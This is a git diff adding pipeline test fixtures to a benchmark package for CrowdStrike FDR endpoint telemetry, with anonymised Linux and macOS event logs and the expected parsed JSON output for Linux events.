+{"event_simpleName":"CriticalFileAccessed","ContextTimeStamp":"1757157936.727","GID":"0","ConfigStateHash":"1061106086","ContextProcessId":"1096090950008222800","ContextThreadId":"0","aip":"89.160.20.128","ConfigBuild":"2c8b.2.3366c72.4f","UID":"0","event_platform":"Lin","UnixMode":"61960","Entitlements":"26","name":"1532ae7e2a105adcc6ddbcf67","EventOrigin":"1","id":"01a3b1d4aa10d5329aef78ba9d3ec56f6d97","EffectiveTransmissionClass":"2","aid":"37b562b807a27cfb58dda71ec9a7eb22","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/812/0bb09d"}
+{"CapPrm":"3800192030037","ParentProcessId":"8081349242194000050","SourceProcessId":"8081349242194000050","aip":"81.2.69.192","SessionProcessId":"4102020000109002000","SyntheticPR2Flags":"4","event_platform":"Lin","ProcessEndTime":"1745972888.297","SVUID":"0","EventOrigin":"45","id":"fb9bd5f0314e46ce785f479aed8f3032fcd9","EffectiveTransmissionClass":"2","timestamp":"1743508799999","ProcessGroupId":"7001610480104066706","event_simpleName":"SyntheticProcessRollup2","RawProcessId":"8905032","ContextTimeStamp":"1752350302.359","GID":"0","ConfigStateHash":"5001020160","SVGID":"0","ConfigBuild":"2c8b.2.3366c72.4f","UID":"0","CommandLine":"e7f8eac7d","TargetProcessId":"6059002040716020903","ImageFileName":"/501e","RGID":"0","SourceThreadId":"0","Entitlements":"56","name":"4f32166a22f49735247598b45006","ProcessStartTime":"1745953229.264","RUID":"0","aid":"8c687fb6b1e8231200c77ef5e3175d0e","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"TerminateProcess","RawProcessId":"1070050","ContextTimeStamp":"1751300030.984","ConfigStateHash":"8001020160","ContextProcessId":"9960000700989070560","ContextThreadId":"0","aip":"89.160.20.128","ConfigBuild":"2c8b.2.3366c72.4f","event_platform":"Lin","TargetProcessId":"6960000700989070560","Entitlements":"36","name":"6b1c662a760f5ed9750d4","EventOrigin":"1","id":"3e71b26395f4386bcb6602ee6777bb5f3124","EffectiveTransmissionClass":"2","aid":"12111f24f25a2a99438b40765c236577","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ChangeTime":"1731329600.968","OciContainerId":"sw345tf5e3455r7dw32w23t6t7fde34ed345rfe45rf0ew4fd","CapPrm":"123438954321","ParentProcessId":"12347782548906","SourceProcessId":"12347782548906","aip":"89.160.20.128","SessionProcessId":"1234915117961","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Lin","ProcessEndTime":"1760406073.595","SVUID":"0","ParentBaseFileName":"runc","EventOrigin":"17","id":"1w23e4r-d03e-4003-bc75-71c6e819ca5f","EffectiveTransmissionClass":"2","Tags":"874, 17179870274, 12094627905582, 12094627906234, 212205744162400","timestamp":"1760406074201","ProcessGroupId":"1234915117961","LocalAddressIP4":"0.0.0.0","event_simpleName":"ProcessRollup2","RawProcessId":"1234","RootPath":"/","GID":"0","ConfigStateHash":"1026580567","UserName":"root","SVGID":"0","MD5HashData":"88922d50263b059696c2af5a99906562","SHA256HashData":"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6","ConfigBuild":"1007.4.0013701.1","UID":"0","CommandLine":"runc init","TargetProcessId":"12347783237538","ImageFileName":"/","RGID":"0","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2LinV12","RUID":"0","ProcessStartTime":"1760406073.568","ComputerName":"comp2","aid":"ffffffff62714a708030d494ca0a7e60","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log-expected.json
new file mode 100644
index 0000000000..f0114c8866
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log-expected.json
@@ -0,0 +1,556 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "8308391500",
+                "ContextProcessId": "520000000560900",
+                "ContextTimeStamp": "2025-09-09T18:27:08.423Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "76",
+                "EnvironmentVariableName": "b644d55ace4f0d",
+                "EnvironmentVariableValue": "a8afe97c911df877fcbc6f0f3e1f509d3a",
+                "EventOrigin": "45",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "8cb2694b8b910f8a123d27da50bb85401acf",
+                "name": "12b047f65d9ece84f659a6b3826d14342284b30"
+            },
+            "device": {
+                "id": "63c6b6246300091fe99c69eb0e5f2cf6"
+            },
+            "event": {
+                "action": "CriticalEnvironmentVariableChanged",
+                "category": [
+                    "configuration",
+                    "host"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "8cb2694b8b910f8a123d27da50bb85401acf|63c6b6246300091fe99c69eb0e5f2cf6|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"CriticalEnvironmentVariableChanged\",\"EnvironmentVariableName\":\"b644d55ace4f0d\",\"ContextTimeStamp\":\"1757442428.423\",\"ConfigStateHash\":\"8308391500\",\"ContextProcessId\":\"520000000560900\",\"ContextThreadId\":\"0\",\"aip\":\"81.2.69.142\",\"ConfigBuild\":\"2c8b.2.3366c72.4f\",\"event_platform\":\"Lin\",\"EnvironmentVariableValue\":\"a8afe97c911df877fcbc6f0f3e1f509d3a\",\"Entitlements\":\"76\",\"name\":\"12b047f65d9ece84f659a6b3826d14342284b30\",\"EventOrigin\":\"45\",\"id\":\"8cb2694b8b910f8a123d27da50bb85401acf\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"63c6b6246300091fe99c69eb0e5f2cf6\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "63c6b6246300091fe99c69eb0e5f2cf6",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "CriticalEnvironmentVariableChanged",
+            "observer": {
+                "address": [
+                    "81.2.69.142"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "serial_number": "63c6b6246300091fe99c69eb0e5f2cf6",
+                "version": "2c8b.2.3366c72.4f"
+            },
+            "process": {
+                "entity_id": "520000000560900",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "8308391500"
+                ],
+                "ip": [
+                    "81.2.69.142"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1061106086",
+                "ContextProcessId": "1096090950008222800",
+                "ContextTimeStamp": "2025-09-06T11:25:36.727Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "26",
+                "EventOrigin": "1",
+                "UnixMode": "61960",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "01a3b1d4aa10d5329aef78ba9d3ec56f6d97",
+                "name": "1532ae7e2a105adcc6ddbcf67"
+            },
+            "device": {
+                "id": "37b562b807a27cfb58dda71ec9a7eb22"
+            },
+            "event": {
+                "action": "CriticalFileAccessed",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "01a3b1d4aa10d5329aef78ba9d3ec56f6d97|37b562b807a27cfb58dda71ec9a7eb22|4092825518eaf67377a6e4492ae44577",
+                "kind": "alert",
+                "original": "{\"event_simpleName\":\"CriticalFileAccessed\",\"ContextTimeStamp\":\"1757157936.727\",\"GID\":\"0\",\"ConfigStateHash\":\"1061106086\",\"ContextProcessId\":\"1096090950008222800\",\"ContextThreadId\":\"0\",\"aip\":\"89.160.20.128\",\"ConfigBuild\":\"2c8b.2.3366c72.4f\",\"UID\":\"0\",\"event_platform\":\"Lin\",\"UnixMode\":\"61960\",\"Entitlements\":\"26\",\"name\":\"1532ae7e2a105adcc6ddbcf67\",\"EventOrigin\":\"1\",\"id\":\"01a3b1d4aa10d5329aef78ba9d3ec56f6d97\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"37b562b807a27cfb58dda71ec9a7eb22\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/812/0bb09d\"}",
+                "outcome": "success",
+                "type": [
+                    "access"
+                ]
+            },
+            "file": {
+                "directory": "/812",
+                "name": "0bb09d",
+                "path": "/812/0bb09d",
+                "type": "file"
+            },
+            "group": {
+                "id": "0"
+            },
+            "host": {
+                "id": "37b562b807a27cfb58dda71ec9a7eb22",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "CriticalFileAccessed",
+            "observer": {
+                "address": [
+                    "89.160.20.128"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.128"
+                ],
+                "serial_number": "37b562b807a27cfb58dda71ec9a7eb22",
+                "version": "2c8b.2.3366c72.4f"
+            },
+            "process": {
+                "entity_id": "1096090950008222800",
+                "group": {
+                    "id": "0"
+                },
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "1061106086"
+                ],
+                "ip": [
+                    "89.160.20.128"
+                ],
+                "user": [
+                    "0"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "group": {
+                    "id": "0"
+                },
+                "id": "0"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "CapPrm": "3800192030037",
+                "ConfigStateHash": "5001020160",
+                "ContextTimeStamp": "2025-07-12T19:58:22.359Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "56",
+                "EventOrigin": "45",
+                "RGID": "0",
+                "RUID": "0",
+                "SVGID": "0",
+                "SVUID": "0",
+                "SessionProcessId": "4102020000109002000",
+                "SourceProcessId": "8081349242194000050",
+                "SourceThreadId": "0",
+                "SyntheticPR2Flags": "4",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "fb9bd5f0314e46ce785f479aed8f3032fcd9",
+                "name": "4f32166a22f49735247598b45006"
+            },
+            "device": {
+                "id": "8c687fb6b1e8231200c77ef5e3175d0e"
+            },
+            "event": {
+                "action": "SyntheticProcessRollup2",
+                "category": [
+                    "process"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "fb9bd5f0314e46ce785f479aed8f3032fcd9|8c687fb6b1e8231200c77ef5e3175d0e|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"CapPrm\":\"3800192030037\",\"ParentProcessId\":\"8081349242194000050\",\"SourceProcessId\":\"8081349242194000050\",\"aip\":\"81.2.69.192\",\"SessionProcessId\":\"4102020000109002000\",\"SyntheticPR2Flags\":\"4\",\"event_platform\":\"Lin\",\"ProcessEndTime\":\"1745972888.297\",\"SVUID\":\"0\",\"EventOrigin\":\"45\",\"id\":\"fb9bd5f0314e46ce785f479aed8f3032fcd9\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"ProcessGroupId\":\"7001610480104066706\",\"event_simpleName\":\"SyntheticProcessRollup2\",\"RawProcessId\":\"8905032\",\"ContextTimeStamp\":\"1752350302.359\",\"GID\":\"0\",\"ConfigStateHash\":\"5001020160\",\"SVGID\":\"0\",\"ConfigBuild\":\"2c8b.2.3366c72.4f\",\"UID\":\"0\",\"CommandLine\":\"e7f8eac7d\",\"TargetProcessId\":\"6059002040716020903\",\"ImageFileName\":\"/501e\",\"RGID\":\"0\",\"SourceThreadId\":\"0\",\"Entitlements\":\"56\",\"name\":\"4f32166a22f49735247598b45006\",\"ProcessStartTime\":\"1745953229.264\",\"RUID\":\"0\",\"aid\":\"8c687fb6b1e8231200c77ef5e3175d0e\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "group": {
+                "Ext": {
+                    "real": {
+                        "id": "0"
+                    }
+                },
+                "id": "0"
+            },
+            "host": {
+                "id": "8c687fb6b1e8231200c77ef5e3175d0e",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "SyntheticProcessRollup2",
+            "observer": {
+                "address": [
+                    "81.2.69.192"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.192"
+                ],
+                "serial_number": "8c687fb6b1e8231200c77ef5e3175d0e",
+                "version": "2c8b.2.3366c72.4f"
+            },
+            "process": {
+                "args": [
+                    "e7f8eac7d"
+                ],
+                "args_count": 1,
+                "command_line": "e7f8eac7d",
+                "end": "2025-04-30T00:28:08.297Z",
+                "entity_id": "6059002040716020903",
+                "executable": "/501e",
+                "group": {
+                    "id": "0"
+                },
+                "group_leader": {
+                    "entity_id": "7001610480104066706"
+                },
+                "name": "501e",
+                "parent": {
+                    "entity_id": "8081349242194000050"
+                },
+                "pgid": 7001610480104066706,
+                "pid": 8905032,
+                "real_group": {
+                    "id": "0"
+                },
+                "real_user": {
+                    "id": "0"
+                },
+                "start": "2025-04-29T19:00:29.264Z",
+                "uptime": 19
+            },
+            "related": {
+                "hash": [
+                    "5001020160"
+                ],
+                "ip": [
+                    "81.2.69.192"
+                ],
+                "user": [
+                    "0"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "Ext": {
+                    "real": {
+                        "id": "0"
+                    }
+                },
+                "group": {
+                    "id": "0"
+                },
+                "id": "0"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "8001020160",
+                "ContextProcessId": "9960000700989070560",
+                "ContextTimeStamp": "2025-06-30T16:13:50.984Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "36",
+                "EventOrigin": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "3e71b26395f4386bcb6602ee6777bb5f3124",
+                "name": "6b1c662a760f5ed9750d4"
+            },
+            "device": {
+                "id": "12111f24f25a2a99438b40765c236577"
+            },
+            "event": {
+                "action": "TerminateProcess",
+                "category": [
+                    "process"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "3e71b26395f4386bcb6602ee6777bb5f3124|12111f24f25a2a99438b40765c236577|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"TerminateProcess\",\"RawProcessId\":\"1070050\",\"ContextTimeStamp\":\"1751300030.984\",\"ConfigStateHash\":\"8001020160\",\"ContextProcessId\":\"9960000700989070560\",\"ContextThreadId\":\"0\",\"aip\":\"89.160.20.128\",\"ConfigBuild\":\"2c8b.2.3366c72.4f\",\"event_platform\":\"Lin\",\"TargetProcessId\":\"6960000700989070560\",\"Entitlements\":\"36\",\"name\":\"6b1c662a760f5ed9750d4\",\"EventOrigin\":\"1\",\"id\":\"3e71b26395f4386bcb6602ee6777bb5f3124\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"12111f24f25a2a99438b40765c236577\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "end"
+                ]
+            },
+            "host": {
+                "id": "12111f24f25a2a99438b40765c236577",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "TerminateProcess",
+            "observer": {
+                "address": [
+                    "89.160.20.128"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.128"
+                ],
+                "serial_number": "12111f24f25a2a99438b40765c236577",
+                "version": "2c8b.2.3366c72.4f"
+            },
+            "process": {
+                "entity_id": "6960000700989070560",
+                "pid": 1070050,
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "8001020160"
+                ],
+                "ip": [
+                    "89.160.20.128"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-10-14T01:41:14.201Z",
+            "crowdstrike": {
+                "CapPrm": "123438954321",
+                "ChangeTime": "2024-11-11T12:53:20.968Z",
+                "ConfigStateHash": "1026580567",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "EventOrigin": "17",
+                "LocalAddressIP4": [
+                    "0.0.0.0"
+                ],
+                "MD5HashData": "88922d50263b059696c2af5a99906562",
+                "OciContainerId": "sw345tf5e3455r7dw32w23t6t7fde34ed345rfe45rf0ew4fd",
+                "RGID": "0",
+                "RUID": "0",
+                "RootPath": "/",
+                "SHA256HashData": "d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6",
+                "SVGID": "0",
+                "SVUID": "0",
+                "SessionProcessId": "1234915117961",
+                "SourceProcessId": "12347782548906",
+                "SourceThreadId": "0",
+                "Tags": [
+                    "874",
+                    "17179870274",
+                    "12094627905582",
+                    "12094627906234",
+                    "212205744162400"
+                ],
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "1w23e4r-d03e-4003-bc75-71c6e819ca5f",
+                "name": "ProcessRollup2LinV12"
+            },
+            "device": {
+                "id": "ffffffff62714a708030d494ca0a7e60"
+            },
+            "event": {
+                "action": "ProcessRollup2",
+                "category": [
+                    "process"
+                ],
+                "created": "2025-10-14T01:41:14.201Z",
+                "id": "1w23e4r-d03e-4003-bc75-71c6e819ca5f|ffffffff62714a708030d494ca0a7e60|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"ChangeTime\":\"1731329600.968\",\"OciContainerId\":\"sw345tf5e3455r7dw32w23t6t7fde34ed345rfe45rf0ew4fd\",\"CapPrm\":\"123438954321\",\"ParentProcessId\":\"12347782548906\",\"SourceProcessId\":\"12347782548906\",\"aip\":\"89.160.20.128\",\"SessionProcessId\":\"1234915117961\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"event_platform\":\"Lin\",\"ProcessEndTime\":\"1760406073.595\",\"SVUID\":\"0\",\"ParentBaseFileName\":\"runc\",\"EventOrigin\":\"17\",\"id\":\"1w23e4r-d03e-4003-bc75-71c6e819ca5f\",\"EffectiveTransmissionClass\":\"2\",\"Tags\":\"874, 17179870274, 12094627905582, 12094627906234, 212205744162400\",\"timestamp\":\"1760406074201\",\"ProcessGroupId\":\"1234915117961\",\"LocalAddressIP4\":\"0.0.0.0\",\"event_simpleName\":\"ProcessRollup2\",\"RawProcessId\":\"1234\",\"RootPath\":\"/\",\"GID\":\"0\",\"ConfigStateHash\":\"1026580567\",\"UserName\":\"root\",\"SVGID\":\"0\",\"MD5HashData\":\"88922d50263b059696c2af5a99906562\",\"SHA256HashData\":\"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"0\",\"CommandLine\":\"runc init\",\"TargetProcessId\":\"12347783237538\",\"ImageFileName\":\"/\",\"RGID\":\"0\",\"SourceThreadId\":\"0\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2LinV12\",\"RUID\":\"0\",\"ProcessStartTime\":\"1760406073.568\",\"ComputerName\":\"comp2\",\"aid\":\"ffffffff62714a708030d494ca0a7e60\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "group": {
+                "Ext": {
+                    "real": {
+                        "id": "0"
+                    }
+                },
+                "id": "0"
+            },
+            "host": {
+                "hostname": "comp2",
+                "id": "ffffffff62714a708030d494ca0a7e60",
+                "name": "comp2",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "ProcessRollup2",
+            "observer": {
+                "address": [
+                    "89.160.20.128"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.128"
+                ],
+                "serial_number": "ffffffff62714a708030d494ca0a7e60",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "args": [
+                    "runc",
+                    "init"
+                ],
+                "args_count": 2,
+                "command_line": "runc init",
+                "end": "2025-10-14T01:41:13.595Z",
+                "entity_id": "12347783237538",
+                "executable": "/",
+                "group": {
+                    "id": "0"
+                },
+                "group_leader": {
+                    "entity_id": "1234915117961"
+                },
+                "hash": {
+                    "md5": "88922d50263b059696c2af5a99906562",
+                    "sha256": "d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6"
+                },
+                "name": "runc",
+                "parent": {
+                    "entity_id": "12347782548906",
+                    "name": "runc"
+                },
+                "pgid": 1234915117961,
+                "pid": 1234,
+                "real_group": {
+                    "id": "0"
+                },
+                "real_user": {
+                    "id": "0"
+                },
+                "start": "2025-10-14T01:41:13.568Z",
+                "uptime": 0
+            },
+            "related": {
+                "hash": [
+                    "88922d50263b059696c2af5a99906562",
+                    "d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6",
+                    "1026580567"
+                ],
+                "hosts": [
+                    "comp2"
+                ],
+                "ip": [
+                    "89.160.20.128",
+                    "0.0.0.0"
+                ],
+                "user": [
+                    "root",
+                    "0"
+                ]
+            },
+            "source": {
+                "address": "0.0.0.0",
+                "ip": "0.0.0.0"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "Ext": {
+                    "real": {
+                        "id": "0"
+                    }
+                },
+                "group": {
+                    "id": "0"
+                },
+                "id": "0",
+                "name": "root"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log
new file mode 100644
index 0000000000..cdbb227d80
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log
@@ -0,0 +1,18 @@
+{"ContextBaseFileName":"09e61","event_simpleName":"BZip2FileWritten","ContextTimeStamp":"1757195073.478","UserName":"4813","FileCategory":"1","ConfigStateHash":"25043379","ContextProcessId":"128660005005330005","Size":"164","ContextThreadId":"0","aip":"216.160.83.56","FileIdentifier":"ba8c123c8c5fa659eb0d3736f6d9fb000fa82e957828517a","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"66","name":"f1facdb9387bd66ffd9ef","EventOrigin":"1","id":"902e0c3461e5e975df4227b1ce8919630d6d","EffectiveTransmissionClass":"2","aid":"b616fca617fa5819625542d9505100de","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/c86/836/3be7855d.bz2"}
+{"event_simpleName":"CriticalFileModified","ContextTimeStamp":"1748302670.919","GID":"0","ConfigStateHash":"859328400","ContextProcessId":"807031761070052000","ContextThreadId":"0","aip":"2a02:cf40::1","FileIdentifier":"fae5cbfea2793fc85256961268a0b84d939ea1a5cff7ca21","ConfigBuild":"2c8b.4.daf5d9d.4f","UID":"0","USN":"150410415","event_platform":"Mac","UnixMode":"905","Entitlements":"86","name":"0e25074caaed0b54119466642","EventOrigin":"1","id":"46dbd0c61a79bcf29fba222797ace5754589","EffectiveTransmissionClass":"2","aid":"38d08ba2d7184565619459d87ca92c8a","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/812/4f8a2"}
+{"event_simpleName":"FileCreateInfo","ContextTimeStamp":"1757781342.026","GID":"45","ConfigStateHash":"65043379","ContextProcessId":"309000003380007780","ContextThreadId":"0","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","UID":"213","event_platform":"Mac","TreeId":"586900090030000484","UnixMode":"105","Entitlements":"26","name":"b556b2f8c2fcc9d247c","EventOrigin":"3","id":"2e5060ef833ae51492bb2f2feaa9f0a52725","EffectiveTransmissionClass":"3","aid":"f8e97b22125b280e944b0a3e95273005","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/6b0cc/48a957ec/dc20b3d/33f3ee0e/3cc3653a.Office/487f7052/331ced6b.reg-journal"}
+{"event_simpleName":"FirewallDisabled","ContextTimeStamp":"1762877709.496","ConfigStateHash":"600000970","ContextProcessId":"700001226457050500","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","Entitlements":"16","name":"d6b45f4ee5e3f0dc22415","EventOrigin":"45","id":"da89f6e8e51680edc853caf65110cd0b6997","EffectiveTransmissionClass":"2","aid":"688342f2ec2adb5c7a9da5d3fec0cf70","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"FirewallEnabled","ContextTimeStamp":"1746962753.829","ConfigStateHash":"859328400","ContextProcessId":"900268078000780315","aip":"81.2.69.144","ConfigBuild":"2c8b.4.daf5d9d.4f","event_platform":"Mac","Entitlements":"46","name":"07198adb48f191c84a38","EventOrigin":"45","id":"b6c44348e6ee1e39992118be1c7150fa6a2e","EffectiveTransmissionClass":"2","aid":"38d08ba2d7184565619459d87ca92c8a","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"FirewallAction":"1","aip":"216.160.83.56","NegateLocalAddress":"0","InterfaceAlias":"445","RemoteAddressMaskIP4":"7807212067","event_platform":"Mac","NegateInterface":"0","IsUnique":"1","EventOrigin":"45","LocalAddressMaskIP4":"5452380700","id":"806ac88ec376c30a3ad5d58a509223d6a681","Protocol":"0","EffectiveTransmissionClass":"2","timestamp":"1743508799999","LocalAddressIP4":"216.160.83.56","event_simpleName":"FirewallSetRuleIP4","ContextTimeStamp":"1747090146.428","ConfigStateHash":"95043379","ContextProcessId":"160345220009000222","ConfigBuild":"2c8b.4.b224e8a.4f","Entitlements":"66","name":"dc265f862d44e408c3e76cd","aid":"e49032362e42da0f07152b78718c7674","NegateRemoteAddress":"0","RemoteAddressIP4":"81.2.69.144","ConnectionDirection":"1","cid":"4092825518eaf67377a6e4492ae44577"}
+{"RemoteAddressIP6":"2a02:cf40::1","FirewallAction":"1","aip":"216.160.83.56","NegateLocalAddress":"0","InterfaceAlias":"3d0df","event_platform":"Mac","NegateInterface":"0","IsUnique":"1","RemoteAddressMaskIP6":"374708fff7719dd5","LocalAddressMaskIP6":"0e83fa75cca53fdf","EventOrigin":"45","id":"642c09f791082b5d83a09c110880c78938cf","Protocol":"62","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"FirewallSetRuleIP6","LocalAddressIP6":"2a02:cf40::1","ContextTimeStamp":"1749801051.624","IcmpCode":"1","ConfigStateHash":"15043379","ContextProcessId":"160345220009000222","IcmpType":"990","ConfigBuild":"2c8b.4.b224e8a.4f","Entitlements":"76","name":"e1d442f5c46bbf234569aea","aid":"e49032362e42da0f07152b78718c7674","NegateRemoteAddress":"0","ConnectionDirection":"0","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"KextLoad","ContextTimeStamp":"1762198394.892","ConfigStateHash":"15043379","ContextProcessId":"472050110452005020","ContextThreadId":"0","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","BundleID":"a225ed06f58fec3fe735872464c","Entitlements":"86","name":"3304452f50b3f","EventOrigin":"1","id":"5f985f71b43f37edc3c06b1c67f8acf263c1","EffectiveTransmissionClass":"2","aid":"c93c143eed37653b54c326dd22e114b8","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
